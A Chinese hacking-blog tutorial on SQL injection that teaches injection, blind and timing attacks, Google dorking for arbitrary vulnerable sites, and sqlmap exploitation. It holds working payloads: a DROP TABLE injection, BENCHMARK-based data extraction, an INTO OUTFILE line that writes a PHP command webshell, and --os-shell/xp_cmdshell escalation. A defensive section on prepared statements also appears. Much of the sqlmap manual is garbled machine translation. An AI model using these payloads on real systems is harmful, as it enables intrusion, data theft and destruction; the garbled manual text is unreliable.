黑客意志

如何渗透入侵网站?思路第三课讲解

前面那两篇文章也让大家能有点基础知识了,那么这次就来讲讲一下几个内容:

  • 初识web安全之注入漏洞
  • 分析sql注入流程
  • 工具注入和手工注入

学习只是为了更好的了解网络技术,以及一下功防思路,切勿使用违法操作,否则后果自负!黑客不是骇客,黑客维护网络安全。

本文讲的很细很细,可能吸收需要一定的时间;图片啥的就不配了,希望大家能好好的学习,学好安全,保障自己的权益,切勿以身试法!

进入正题

一、WEB安全注入初步了解

注入攻击

注入攻击是web安全领域中最常见的一种攻击方式。注入攻击的本质就是把用户输入的数据当作代码执行,主要的两个关键条件:第一是用户能够控制输入,第二是原本程序要执行的代码拼接了用户输入的数据。在注入中,常见的就是SQL,下面我们来看看SQL注入的一些方法、技巧以及防御。

SQL注入

请看一个典型的SQL注入例子:
var Shipcity;
ShipCity = Request.form (“ShipCity”);
var sql = “select * from OrdersTable where
ShipCity = ‘” + ShipCity + “‘”;

这里的变量”Shipcity”值是由用户提交,

如果是一个正常值如”Beijing”,那么SQL语句执行查找:
SELECT * FROM OrdersTable WHERE Shipcity = ‘Beijing’

但是如果用户输入的是一段SQL语句:Beijing’;drop table OrdersTable–,那么SQl语句就会被执行:
SELECT * FROM OrdersTable WHERE Shipcity =’Beijing’;drop table OrdersTable–‘

这就是说SQL在执行完查找后,再执行drop表的操作,而这个操作是用户构造的恶意攻击。对比一下上述所说的注入关键条件:1用户能够控制数据输入的变量”Shipcity”,2原本要执行的代码,拼接了用户输入。也正是这个拼接导致数据库执行了SQL语句。

在SQL注入过程中,有的站点WEb服务器开启了错误回显,如攻击者在输入中插入一个单引号,服务器返回错误信息如:
Microsoft JET Database Engine 错误 ‘80040e14’
字符串的语法错误 在查询表达式 ‘ID=49” 中。

/showdetail.asp,行8
这将会给攻击者提供很大的便利。从回显信息中知道服务器用的是Access作为数据库,那么攻击者就知道相应的查询语句:select xxx from table_X where id = $id。有的错误回显信息还带有敏感信息,那对攻击者来说构造一个SQL注入就更加得心应手了。但是在时间环境中,web服务器关闭了错误回显,对于这种情况,攻击者们研究出了“盲注”技巧。

SQL注入之盲注

所谓盲注就是指攻击者在没有错误回显信息情况下,通过构造条件语句试探该语句是否得以执行,从而完成的一种攻击方式。常见的就是 and 1=1 and 1=2的条件语句:在地址栏输入test.com/items.php?时,将会在数据库执行SQL语句SELECT title,description,body FROM items WHERE ID =1。当攻击者构造and 1=1、and 1=2语句时,SQL语句会根据and条件判断命题真假来返回响应值,攻击者就可根据响应值的不同判断是否存在注入,这就是盲注的工作原理。

Timing Attack

首先看看边信道攻击:信道外的信息与信道内的信息存在某种联系,通过观测信道外的信息推断出信道内的隐含信息。时序攻击(Timing Attack)就是在边信道攻击思想上,去观测时间与隐含信息直接的某种联系。Timing Attack是盲注的一种高级技巧,下面我们来简单的看看:

在MYSQL中,有一个函数BENCHMARK()函数,主要用于测试函数的性能。它有两个参数BENCHMARK(count,expr),执行后结果是将表达式expr执行count次。如果让一个函数被执行若干次,使得返回时间计较长,通过对比时间长短变化即可判断注入语句是否执行成功,这种边信道攻击在盲注中被称为Timing Attack。下面附上一些Timing Attack攻击代码:
1170 UNION SELECT IF(SUBSTRING(current,1,1) =
CHAR(119),BENCHMARK(5000000,ENCODE(‘MSG’,’by
5 seconds’)),null) FROM (Select Database()
as current) as tbl;

这段payload是判断库名的第一个字母是否为CKAR(119),如果为真则代码执行时间较长,如果为假则很快执行完毕。攻击者遍历所有字母,即可知道数据库名字。再通过下列函数获取更多有用信息:
database() – the name of the database
currently connected to.
system_user() – the system user for the
database.
current_user() – the current user who is
logged in to the database.
last_insert_id() – the transaction ID of the
last insert operation on the database.

如果当前数据库用户(current_user)具有写权限,那么攻击者可将信息写入web目录中:
1170 Union All SELECT table_name,
table_type, engine FROM
information_schema.tables WHERE
table_schema = ‘mysql’ ORDER BY table_name
DESC INTO OUTFILE
‘/path/location/on/server/www/schema.txt’

或者通过DUMP文件的方法写入一个webshell:
1170 UNION SELECT “ system($_REQUEST[‘cmd’]); ?>”,2,3,4 INTO
OUTFILE
“/var/www/html/temp/c.php” —

正确的防御SQL注入

SQL注入的防御办法:找到所有的SQL注入漏洞并修复它们。主要从以下几点入手

1,使用预编译语句
一般说来,防御SQL注入的最佳方式就是使用预编译语句绑定变量。如在java中使用预编译的SQL语句:
String custname =
request.getParameter(“customerName”); // This should REALLY be validated too
// perform input validation to detect attacks
String query = “SELECT account_balance FROM
user_data WHERE user_name = ? “;
PreparedStatement pstmt =
connection.prepareStatement( query );
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );

上述代码变量用”?”表示,攻击者无法改变SQL的结构,即是插入lee’or ‘1’=’1的字符,也只会被当做username来查询。下面再看看在PHP中绑定变量的实例:

$query = “INSERT INTO myCity (Name,
CountryCode, District) VALUES (?,?,?)”;
$stmt = $mysqli->prepare($query);
$stmt->bind_param(“sss”, $val1, $val2,
$val3);
$val1 = ‘Stuttgart’;
$val2 = ‘DEU’;
$val3 = ‘Baden-Wuerttemberg’;
/* Execute the statement */
$stmt->execute();

2,使用存储过程

除了使用预编译语句外,还可以使用安全的存储过程防御SQL注入。与预编译语句不同的是需要将SQL语句定义在数据库中,但这种情况下也可能会存在注入问题,应该尽量避免在存储过程中使用动态SQL语句,如果必须使用,则应该严格过滤输入或者使用编码函数来处理用户输入数据。下例为java中调用存储过程,sp_getAccountBalance是预先在数据库中定义的
String custname =
request.getParameter(“customerName”); //
This should REALLY be validated
try {
CallableStatement cs =
connection.prepareCall(“{call
sp_getAccountBalance(?)}”);
cs.setString(1, custname);
ResultSet results = cs.executeQuery();
// … result set handling
} catch (SQLException se) {
// … logging and error handling
}

3,检查数据类型

检查数据类型在很大程度上也可防御SQL注入,如下限制输入数据类型只能为integer:

settype($offset, ‘integer’);
$query = “SELECT id, name FROM products
ORDER BY name LIMIT 20 OFFSET $offset;”;
// please note %d in the format string,
using %s would be meaningless
$query = sprintf(“SELECT id, name FROM
products ORDER BY name LIMIT 20 OFFSET
%d;”,
$offset);

?>
检查数据类型必须要求用户输入严格按照其格式,如果需要用户输入是字符串则按照其他方式防御

4,使用安全函数

如在MYSQL中:
NUL (0x00) –> [This is a zero, not the letter O]
BS (0x08) –> b
TAB (0x09) –> t
LF (0x0a) –> n
CR (0x0d) –> r
SUB (0x1a) –> z
” (0x22) –> ”
% (0x25) –> %
‘ (0x27) –> ‘
(0x5c) –> \
_ (0x5f) –> _
all other non-alphanumeric characters with
ASCII values less than 256 –> c
where ‘c’ is the original non-alphanumeric
character.

使用ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );函数:

Codec ORACLE_CODEC = new OracleCodec();
String query = “SELECT user_id FROM
user_data WHERE user_name = ‘” +
ESAPI.encoder().encodeForSQL( ORACLE_CODEC
, req.getParameter(“userID”)) + “‘ and
user_password = ‘”
+
ESAPI.encoder().encodeForSQL( ORACLE_CODEC
, req.getParameter(“pwd”)) +”‘”;

从数据库的角度来说,应该按照最小权限原则来防御SQL注入。。。。

部分内容借鉴于CSDN博主「雲下闲农」原文链接:blog.csdn.net/longgerle

二、分析SQL注入流程

寻找SQL注入点

无特定目标:
inurl:.php?id=

有特定目标:
inurl:.php?id=site:target.com // jsp sid

工具爬取:
spider,对搜索引擎和目标网站的链接进行爬取

注入识别

手工简单识别:


and 1=1 / and 1=2
and ‘1’=’1 / and ‘1’=’2
and 1 like 1 / and 1 like 2
工具识别:

sqlmap -m filename (filename中保存检测目标)
sqlmap –crawl(sqlmap对目标网站进行爬取,然后依次进行测试)
高级识别:
扩展识别广度和深度:

SqlMap –level 增加测试级别,对header中相关参数也进行测试
sqlmap -r filename (filename中为网站请求数据)
利用工具提高识别效率:

BurpSuite + SqlMap
BurpSuite拦截所有浏览器访问提交的数据
BurpSuite扩展插件,直接调用SqlMap进行测试
一些Tips:

可以在参数后键入“*” 来确定想要测试的参数
可能出现注入的点:新闻、登录、搜索、留言… …
站在开发的角度去寻找

python sqlmap.py -r 1.txt
burp sqlmap 扩展
Burp-> Extender->BApp Store -> SQLiPy Sqlmap

代码审计:

搜索关键代码和函数
梳理业务流程

强网杯WEB “python is the best language”

test.com/register
POST:

username=test&email=t@t.com&password=123&password2=123&submit=Register
username=test&email=t@t.com’ and ‘1’ = ‘1&password=123&password2=123&submit=Register
02 SQL注入流程

数据获取

web.mdb

select [*] from admin
select [*] from system

select [username] from system
select [name] from system

提权

xp.cmdshell

–os-shell // 执行系统命令 写webshell到网站目录

下面是我个人总结的,可以多去网络上参考一下相关资料。

怎么找是否有注入漏洞?

  • 第一个找符合参数链接的网站
  • 第二个判断是否存在注入
  • 第三个实施注入攻击

分析sql注入流程:

  • 第一步 猜解表名
  • 第二步 猜解列名
  • 第三步 猜解内容

三、工具注入和手工注入

第一,你要验证那个网站是否有注入点,如果有的话,你才可以注入 、第二,工具的话,先找出网站的注入点,再根据注入点来注入的。其实思路都差不多,手工注入的话可以参考一下我之前写过的一篇文章,地址:ahacker.org/archives/43

工具注入的话 还要拿我们经常用到的kali.(在这里我就用kali做演示了。)

1 。 介绍
1.1 要求
1.2 网应用情节
1.3 SQL 射入技术
1.4 特点
1.5 下载和更新sqlmap
1.6 执照

2 。 用法
2.1 帮助
2.2 目标URL
2.3 目标URL 和verbosity
2.4 URL 参量
2.5 Google dork
2.6 HTTP 方法: 得到或张贴
2.7 张贴的数据串
2.8 HTTP 曲奇饼倒栽跳水
2.9 HTTP 用户代理倒栽跳水
2.10 任意HTTP 用户代理倒栽跳水
2.11 HTTP 认证
2.12 HTTP 代理人
2.13 串比赛
2.14 遥远的数据库管理系统
2.15 广泛的DBMS 指印
2.16 横幅
2.17 当前的用户
2.18 当前的数据库
2.19 数据库用户
2.20 数据库用户密码hashes
2.21 可利用的数据库
2.22 数据库桌
2.23 数据库桌专栏
2.24 转储数据库制表词条
2.25 转储整个DBMS
2.26 检索文件内容
2.27 处理您自己的表示
2.28 检查联合询问SQL 射入
2.29 利用联合询问SQL 射入
2.30 估计的到达时间
2.31 之外所有数据被检索在文本文件
2.32 简历询问价值从文本文件

3 。 参考

4 。 接触

1 。 介绍
sqlmap 是一个自动SQL 射入工具。它是可胜任执行一个广泛的数据库管理系统后端指印, 检索遥远的DBMS 数据库, usernames, 桌, 专栏, 列举整个DBMS, 读了系统文件和利用导致SQL 射入弱点的网应用编程的安全漏洞。

有许多其它SQL 射入工具在网, 但我不能发现任何人适合所有我的需要因此我感到需要在我的渗透测试期间给成功地写我自己的工具测试, 辨认和利用网应用的SQL 射入在安全上的弱点。

1.1 要求
sqlmap 整个地被开发在 Python, 一个动态面向对象的被解释的编程语言。这由操作系统使工具独立。sqlmap 实际上依靠只自由地是下载的从它的正式站点 的Python 口译员。做它更加容易, 许多GNU/Linux 发行从箱子出来以Python 包裹preinstalled 并且其它Unices 提供这个解释语言precompiled 入他们的包裹格式。如果您使用窗口或MacOS x 那里存在precompiled 设定准备好正式可执行在Python 站点。

1.2 网应用情节
我们说您验核网应用的安全并且您发现了接受动态用户提供价值对它得到并且/或者张贴参量的一个网页。您现在想要测试如果这些是脆弱的对SQL 射入弱点, 如果那样, 剥削他们检索同样多信息尽可能在网应用的数据库管理系统外面甚至能读任意文件从数据库管理系统计算机

如果网页是:

192.168.1.47/page.php?

假定:

192.168.1.47/page.php?

和原始一个一样是页和:

192.168.1.47/page.php?

与它意味的原始的产品不同我们是在一个SQL 射入弱点前面在 id 意味网应用 index.php 页的得到参量IDS/IPS, 没有网应用防火墙, 没有参数值sanitization 不执行在服务器边亦不PHP 口译员边。

这是相当共同的缺点在动态美满的网应用并且它不取决于遥远的DBMS 或在网应用语言, 这是程序员代码的安全漏洞。 开放网应用安全项目 最近对在他们的 OWASP 名列前茅十 这个弱点估计作为 最共同 和最重要的网应用弱点, 其次唯一 十字架站点Scripting 问题。

回到情节, statemenet SELECT 入大概 index.php 有句法相似与以下SQL 询问在冒充的PHP:

$query = “SELECT FROM

WHERE id=” . $_REQUEST[‘id’];

如此, 如同您能看, 添附其他syntatically 合法的SQL 情况在a (之后合法的) 价值为 id 这样的情况将发生当网应用执行询问在附上DBMS, 所以情况 id=1 AND 1=1 和原物一样是合法的(真实) 并且退回页, 以同样内容和没有任一个古怪的SQL 错误信息。

更多, 在这个例子它会是还可能添附, 不仅一个或更多合法的SQL condition(s), 而且其他完全SQL 询问, 请求某事象在伪码 id=1; ANOTHER SQL QUERY–

即然我们发现了这个SQL 射入脆弱的参量, 我们能利用它操作 id 参数值。

通过原始的地址, 192.168.1.47/page.php? 对sqlmap, 工具自动地将辨认脆弱的参量(id 在这个情节) 并且将添附syntatically 合法的SQL 声明串包含 SELECT 次级声明或我们想要检索产品的其他声明。由做比较根据超文字标记语言页hashes, 串或每被请求的页与原始一个, sqlmap 正则表达式比赛确定声明字符的产品价值将由字符, 这个技术作为盲目的SQL 射入的 名字 和很好被描述在许多文件里, 检查参考部分有些技术文章。

1.3 SQL 射入技术
与二等分算法被实施在sqlmap 执行这攻击以 盲目的SQL 射入著名 这达到以大约七个HTTP 请求每产品的各个字符, 但如果网应用页代码解析声明的产品 SELECT 入a for 或相似的周期以便询问产品的各条线打印在页内容, 我们是在一个 inband SQL 射入弱点, 亦称 联合询问SQL 射入 弱点前面。我强烈劝告您跑至少一旦sqlmap 以 –union-check 命令行选择到测试如此和如果用途 –union-use 命令行选择利用这个弱点因为它保存得很多时间并且它不衡量在网络服务器记录文件下以上百HTTP 请求。

1.4 特点
这主要特点名单被实施在sqlmap:

完全支持为 MySQL、 Oracle、 PostgreSQL 和 微软SQL 服务器 数据库管理系统后端。除这些四以外DBMS, sqlmap 可能并且辨认微软通入、DB2 、Informix 和Sybase;
广泛的数据库管理系统后端指印 根据:
Inband DBMS 错误信息
DBMS 横幅解析
DBMS 起作用产品比较
DBMS 具体特点 譬如MySQL 评论射入
被动SQL 射入fuzzing
它充分支持二个SQL 射入技术:
盲目的SQL 射入, 亦称 推断SQL 射入
Inband SQL 射入, 亦称 联合询问SQL 射入
并且它部份地支持 错误基于的SQL 射入 作为传染媒介的当中一个为数据库管理系统指印;
它自动地测试所有被提供 得到, 张贴, 曲奇饼 和 用户代理 参量发现动态那些。在这些它测试和自动地查出那个通过SQL 射入影响。而且各个动态参量被测试为 数字, 选拔引证串, 加倍引证串 和所有这些三型以一个和二个托架发现哪些是合法的句法进行进一步射入与;
它是可能提供唯一的parameter(s) 的名字, 您想要执行测试并且用途为射入, 是他们 得到, 张贴, 曲奇饼 参量;
SQL 射入测试和侦查不取决于网应用数据库管理系统后端。SQL 射入剥削和询问句法明显地取决于网应用数据库管理系统后端;
它认可合法的询问由假那些根据 HTML 产品页hashes 比较 , 但它是还可能选择执行这样的测试根据 串匹配;
HTTP 请求可能执行在HTTP 方法 GET 和 POST (缺省: GET);
它是可能执行HTTP 请求使用HTTP User-Agent 倒栽跳水串从文本文件任意地被挑选;
它是可能提供HTTP Cookie 倒栽跳水串, 有用当网应用要求认证根据曲奇饼并且您有这样数据;
它是可能提供一个匿名HTTP 代理人地址和口岸对通行证由HTTP 请求对目标URL;
它是可能提供遥远的DBMS 后端如果您已经知道它做sqlmap 之外某个时候指印它;
它支持各种各样的命令行选择得到 数据库管理系统横幅, 当前的DBMS 用户, 当前的DBMS 数据库, 列举用户, 密码hashes 的用户, 数据库, 桌, 专栏, 转储制表词条, 倾销整个DBMS, 检索一个任意文件内容(如果遥远的DBMS 是MySQL) 并且提供您自己的SQL 精选的声明被评估;
它是可能自动地做sqlmap 查出如果受影响的参量通过联合询问 SQL 射入并且影响 并且, 在这样的案件, 使用它利用弱点;
它是可能 排除系统数据库当列举桌, 有用当倾销整个DBMS 数据库桌词条并且您想要跳缺省DBMS 数据;
它是可能观看 估计的到达时间 为各询问产品, 被更新在实时当进行SQL 射入攻击;
支持增加产品 消息的verbosity 水平;
它是可能保存询问执行和他们的被检索的价值在实时在产品文本文件和 继续射入恢复从这样的文件在第二次;
PHP 设置 magic_quotes_gpc 旁路由输入每询问串, 在单引号之间, 以 CHAR (或相似) DBMS 具体作用。

1.5 下载和更新sqlmap
这个指南是sqlmap 的一部分。您应该接受了它当您下载了sqlmap 。

sqlmap 可能被下载从它的 SourceForge 文件名单页 和发展发行从可能冲浪以浏览器 或 被获取对下载sqlmap 的它的SourceForge 颠覆贮藏库:

$ svn checkout sqlmap.svn.sourceforge.net sqlmap

任何方式您下载了sqlmap, 奔跑 svn update 在它的根目录(有主文件的地方 sqlmap.py) 与SVN 贮藏库同步检索它的原始代码更新在您运作的拷贝保证, 您跑节目的最新的版本。

关于SourceForge 颠覆贮藏库用法的详细信息可能被发现 这里。

1.6 执照
sqlmap 被发布在 公众执照v2 条件下。

2 。 用法
唯一的二个可能的必须的参量是:

– u 或 — url: 选拔目标URL 测试, 查出和注射对于SQL 射入缺点
– g: 测试所有Google 结果寻找一位具体Google dork

这些是唯一的二命令行参量排除eachother 。

跟随sqlmap 命令行参量和价值被解释在细节以一个例子为各个参量。

2.1 帮助

$ python sqlmap.py -h

sqlmap/X.Y coded by inquis <>
and belch <>

Usage: sqlmap.py [options] {-u | -g }

Options:
-h, –help show this help message and exit
-u URL, –url=URL target url
-p TESTPARAMETER specify the testable parameter(s)
-g GOOGLEDORK rather than providing a target url, let Google return
target hosts as result of your Google dork expression
–method=HTTPMETHOD HTTP method, GET or POST (default: GET)
–data=DATA data string to be sent through POST
–cookie=COOKIE HTTP Cookie header
–user-agent=UAGENT HTTP User-Agent header
-a USERAGENTSFILE load a random HTTP User-Agent header from file
–basic-auth=BAUTH HTTP Basic Authentication, value: ‘username:password’
–digest-auth=DAUTH HTTP Digest Authentication, value: ‘username:password’
–proxy=PROXY use a proxy to connect to the target url
–string=STRING string to match in page when the query is valid
–remote-dbms=DBMS perform checks only for this specific DBMS
-f, –fingerprint perform an exaustive database fingerprint
-b, –banner get DBMS banner
–current-user get current DBMS user
–current-db get current DBMS name
–users get DBMS users
–passwords get DBMS users password hashes
–dbs get available databases
–tables get database tables (optional: -D)
–columns get table columns (required: -T and -D)
–dump dump database table entries (required: -T and -D
optional: -C)
–dump-all dump all databases tables entries
–file=FILENAME read a specific file content
-e EXPRESSION expression to evaluate
–union-check check for UNION SELECT statement
–union-use use the UNION SELECT statement to retrieve the queries
output
-D DB, –database=DB database to enumerate
-T TBL, –table=TBL database table to enumerate
-C COL, –column=COL database table column to enumerate
–exclude-sysdbs exclude system databases when enumerating tables
–eta retrieve each query length and calculate the estimated
time of arrival
-v VERBOSE set verbosity level (0-2), default is 0
-o OUTPUTFILE save all data retrieved on a text file
-r, –resume resume queries value from a text file

2.2 目标URL
命令行选择: -u 或 –url

跑sqlmap 在唯一目标URL:

$ python sqlmap.py -u “192.168.1.47/page.php?

remote DBMS: MySQL >= 5.0.0

2.3 目标URL 和verbosity
命令行选择: -v

絮絮叨叨的选择可能使用设置产品消息的verbosity 水平。它的价值可能实际上是 0, 1 或 2。它的价值是 0 因为sqlmap 不会打印任何新闻消息对标准产品, 只有询问产品和最后警告和错误如果他们发生。

$ python sqlmap.py -u “192.168.1.47/page.php?” -v 1

[hh:mm:25] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:26] [INFO] url is stable
[hh:mm:26] [INFO] testing if GET parameter ‘id’ is dynamic
[hh:mm:26] [INFO] confirming that GET parameter ‘id’ is dynamic
[hh:mm:26] [INFO] GET parameter ‘id’ is dynamic
[hh:mm:26] [INFO] testing sql injection on GET parameter ‘id’
[hh:mm:26] [INFO] testing numeric/unescaped injection on GET parameter ‘id’
[hh:mm:26] [INFO] confirming numeric/unescaped injection on GET parameter ‘id’
[hh:mm:26] [INFO] GET parameter ‘id’ is numeric/unescaped injectable
[hh:mm:26] [INFO] testing MySQL
[hh:mm:26] [INFO] query: CONCAT(‘5’, ‘5’)
[hh:mm:26] [INFO] retrieved: 55
[hh:mm:26] [INFO] performed 20 queries in 0 seconds
[hh:mm:26] [INFO] confirming MySQL
[hh:mm:26] [INFO] query: LENGTH(‘5’)
[hh:mm:26] [INFO] retrieved: 1
[hh:mm:26] [INFO] performed 13 queries in 0 seconds
[hh:mm:26] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:26] [INFO] retrieved: 5
[hh:mm:26] [INFO] performed 13 queries in 0 seconds
remote DBMS: MySQL >= 5.0.0

2.4 URL 参量
命令行选择: -p

sqlmap 测试全部得到并且岗位为dynamicity 和SQL 射入弱点提供了参量, 但它手工是可能的对specificy 您要sqlmap 执行对逗号的测试separeted 为了未参加dynamicity 测试和执行SQL 射入测试的URL parameter(s), 侦查和剥削只在被提供的parameter(s):

$ python sqlmap.py -u “192.168.1.47/page.php?” -v 1 -p “id”

[hh:mm:17] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:18] [INFO] url is stable
[hh:mm:18] [INFO] testing sql injection on parameter ‘id’
[hh:mm:18] [INFO] testing numeric/unescaped injection on parameter ‘id’
[hh:mm:18] [INFO] confirming numeric/unescaped injection on parameter ‘id’
[hh:mm:18] [INFO] parameter ‘id’ is numeric/unescaped injectable
[…]

或如果您想要提供超过一个参量, 例如:

$ python sqlmap.py -u “192.168.1.47/page.php?” -v 1 -p “cat,id”

2.5 Google dork
命令行选择: -g

而不是提供目标URL 它是还可能执行对参量的测试在地址由Google dork 查寻返回。

这个选择做sqlmap 与搜索引擎谈判它的会议曲奇饼能执行查寻, 那么sqlmap 将检索Google 第一个100 个结果为表示与得到参量问您的Google dork 如果您想要测试和得到SQL 射入好处在各可能的受影响的URL 。

$ python sqlmap.py -g “site:yourdomain.com inurl:example.php” -v 1

[hh:mm:38] [INFO] first request to Google to get the session cookie
[hh:mm:39] [INFO] sqlmap got ‘PREF=ID=xxxxxxxxxxxxxxxx:TM=yyyyyyyyyy:LM=zzzzzzzzzz:S=wwwwwwwwwwwwwwww’ as session cookie
[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are testable hosts
[hh:mm:40] [INFO] url 1: yourdomain.com/example., do you want to test this url? [y/N/q] n
[hh:mm:43] [INFO] url 3: yourdomain.com/example., do you want to test this url? [y/N/q] n
[hh:mm:42] [INFO] url 2: thirdlevel.yourdomain.com, do you want to test this url? [y/N/q] y
[hh:mm:44] [INFO] testing url thirdlevel.yourdomain.com
[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:49] [INFO] url is stable
[hh:mm:50] [INFO] testing if GET parameter ‘today’ is dynamic
[hh:mm:51] [INFO] confirming that GET parameter ‘today’ is dynamic
[hh:mm:53] [INFO] GET parameter ‘today’ is dynamic
[hh:mm:54] [INFO] testing sql injection on GET parameter ‘today’
[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter ‘today’
[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter ‘today’
[hh:mm:58] [INFO] GET parameter ‘today’ is numeric/unescaped injectable
[…]

2.6 HTTP 方法: 得到或张贴
命令行选择: –method

HTTP 使用的方法执行HTTP 请求是 GET, 但它是可能改变它在命令行 –method 参数值:

$ python sqlmap.py -u “192.168.1.47/page.php” –method “POST” –data “id=1&cat=2”

这样参量和他们的价值将由HTTP POST 方法通过, 最终包括那个脆弱以SQL 询问被注射入(id 在我们的情节) 。

2.7 张贴的数据串
命令行选择: –data

这个命令行选择被使用指定您想要送通过HTTP 岗位方法执行测试的数据串。读段上面为进一步细节。

2.8 HTTP 曲奇饼倒栽跳水
命令行选择: –cookie

这个特点是有用的当, 例如, 网应用要求认证根据曲奇饼并且您有这样数据。步经历在这种情况下是相似对:

在Firefox 浏览器注册在网认证形式当倾销URL 请求以TamperData 浏览器引伸。在引伸的水平的箱子选择您的认证交易然后在左箱子在点击之下与按钮右键在 Cookie 价值, 然后点击 Copy。

现在去回到您的壳和跑sqlmap:

$ python sqlmap.py -u “192.168.1.47/page.php?” –cookie “COOKIE_VALUE”

当您使用这个命令行选择sqlmap 将测试和, 如果脆弱, 并且利用SQL 射入在 Cookie 倒栽跳水。

2.9 HTTP 用户代理倒栽跳水
命令行选择: –user-agent

由缺省sqlmap 执行HTTP 请求提供以下HTTP 用户代理倒栽跳水:

sqlmap/VERSION (http://sqlmap.sourceforge.net)

它是可能改变它在命令行 –user-agent 参数值。例如:

$ python sqlmap.py -u “192.168.1.47/page.php?” –user-agent “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)”

当您使用这个命令行选择sqlmap 将测试和, 如果脆弱, 并且利用SQL 射入在 User-Agent 倒栽跳水。

2.10 任意HTTP 用户代理倒栽跳水
命令行选择: -a

由缺省sqlmap 执行HTTP 请求提供以下HTTP 用户代理倒栽跳水:

sqlmap/VERSION (http://sqlmap.sourceforge.net)

提供文本文件, ./txt/user-agents.txt 或其他文件包含至少一个用户代理名单, 对 -a 命令行选择, sqlmap 将选择一个任意用户代理从文件和将使用它为所有HTTP 请求对URL:

$ python sqlmap.py -u “192.168.1.47/page.php?” -v 1 -a “./txt/user-agents.txt”

[hh:mm:41] [INFO] fetching random HTTP User-Agent header from file ‘./txt/user-agents.txt’
[hh:mm:41] [INFO] fetched random HTTP User-Agent header from file ‘./txt/user-agents.txt’
[hh:mm:41] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:42] [INFO] url is stable
[…]

2.11 HTTP 认证
命令行选择: –basic-auth 并且 –digest-auth

这些选择可能使用指定哪个认证方法网络服务器实施并且合法的证件被用于perfom 所有HTTP 请求对目标URL:

在 HTTP 基本验证的情况下 跑:

$ python sqlmap.py -u “192.168.1.47/page.php?” –basic-auth “username:password”

否则如果 HTTP 文摘认证 是被实施的奔跑:

$ python sqlmap.py -u “192.168.1.47/page.php?” –digest-auth “username:password”

2.12 HTTP 代理人
命令行选择: –proxy

它是可能提供一个匿名HTTP 代理人地址对通行证由所有请求对目标URL:

$ python sqlmap.py -u “192.168.1.47/page.php?” –proxy “http://url:port”

而不是使用一个唯一匿名HTTP 代理服务系统通过, 您能配置 突岩客户 与 Privoxy 一起 在您的机器象解释在 突岩客户指南 那么跑sqlmap 如下:

$ python sqlmap.py -u “192.168.1.47/page.php?” –proxy “http://127.0.0.1:8118”

注意, 8118 是缺省Privoxy 口岸, 适应您的设置。

2.13 串起比赛
命令行选择: –string

一次真实的询问的分别由一假一个(地下室概念为标准盲目的SQL 射入攻击) 完成被注射的页产品MD5 回锅碎肉与原始的没有被注射的页产品比较MD5 在sqlmap. sqlmap 使成为可能手工提供总是存在 在 真实的被注射的询问产品页的串, 并且它不是在假一个。这样的信息是容易对用户简单地检索, 设法注射在受影响的URL 参量无效价值和原始的产品与错误产品比较辨认哪串是在真实的页唯一。这样分别不会根据串比赛和没有页回锅碎肉比较:

$ python sqlmap.py -u “192.168.1.47/page.php?” –string “STRING_ON_TRUE_PAGE”

注意当这个命令行选择被指定, sqlmap 将未参加URL 稳定测试并且认为这个选择根本当您必须处理内容改变, 例如, 在每个的页刷新。

2.14 遥远的数据库管理系统
命令行选择: –remote-dbms

sqlmap 自动地查出遥远的数据库manangement 系统后端网应用。在充分支持的DBMS 是 MySQL、 Oracle、 PostgreSQL 和 微软SQL 服务器之时。它是可能手工提供遥远的DBMS 从命令行。如果您提供这样的选择, sqlmap 不会执行任何DBMS 指印有例外使MySQL 只辨认如果这是MySQL < 5.0 或MySQL > = 5.0 。并且避免您能改为提供或的这 MySQL 4 检查 MySQL 5。

注意这个选择不是必须的并且它是更好如果您使用它只如果您对遥远的DBMS 是绝对肯定的。如果您不知道它, 让sqlmap 辨认它为您。

如果您提供 –fingerprint 与一起 –remote-dbms, sqlmap 只将执行广泛的指印为指定的数据库管理系统, 如下读了段为细节对此。

2.15 广泛的DBMS 指印
命令行选择: -f 或 –fingerprint

网应用数据库管理系统后端指印执行请求退回已知的静态价值的数据库具体作用。由这价值与回归价值比较它是可能辨认如果遥远的数据库有效地是那个节目 被测试为。在第一个指印检查sqlmap 认可遥远的数据库和执行剩余询问以它的具体句法在数据库建筑学的极限内。如果您想要执行一个更加准确的数据库指印您能提供 –fingerprint 选择:

$ python sqlmap.py -u “192.168.1.47/page.php?” -v 1 -f

[…]
[hh:mm:31] [INFO] testing MySQL
[hh:mm:31] [INFO] query: CONCAT(‘4’, ‘4’)
[hh:mm:31] [INFO] retrieved: 44
[hh:mm:31] [INFO] performed 20 queries in 0 seconds
[hh:mm:31] [INFO] confirming MySQL
[hh:mm:31] [INFO] query: LENGTH(‘4’)
[hh:mm:31] [INFO] retrieved: 1
[hh:mm:31] [INFO] performed 13 queries in 0 seconds
[hh:mm:31] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:31] [INFO] retrieved: 4
[hh:mm:31] [INFO] performed 13 queries in 0 seconds
[hh:mm:31] [INFO] query: DATABASE()
[hh:mm:31] [INFO] retrieved: testdb
[hh:mm:31] [INFO] performed 48 queries in 0 seconds
[hh:mm:31] [INFO] query: SCHEMA()
[hh:mm:31] [INFO] retrieved: testdb
[hh:mm:32] [INFO] performed 48 queries in 0 seconds
[hh:mm:32] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
[hh:mm:32] [INFO] retrieved:
[hh:mm:32] [INFO] performed 6 queries in 0 seconds
[hh:mm:32] [INFO] executing MySQL comment injection fingerprint
[hh:mm:32] [INFO] executing passive fuzzing to retrieve DBMS error messages
remote DBMS: active fingerprint: MySQL >= 5.0.2 and < 5.1
comment injection fingerprint: MySQL 5.0.38
html error message fingerprint: MySQL

如果您想要一个更加准确数据库指印, 并且根据横幅解析, 您能并且提供 -b 或 –banner 选择:

$ python sqlmap.py -u “192.168.1.47/page.php?” -v 1 -f -b

[…]
[hh:mm:45] [INFO] testing MySQL
[hh:mm:45] [INFO] query: CONCAT(‘4’, ‘4’)
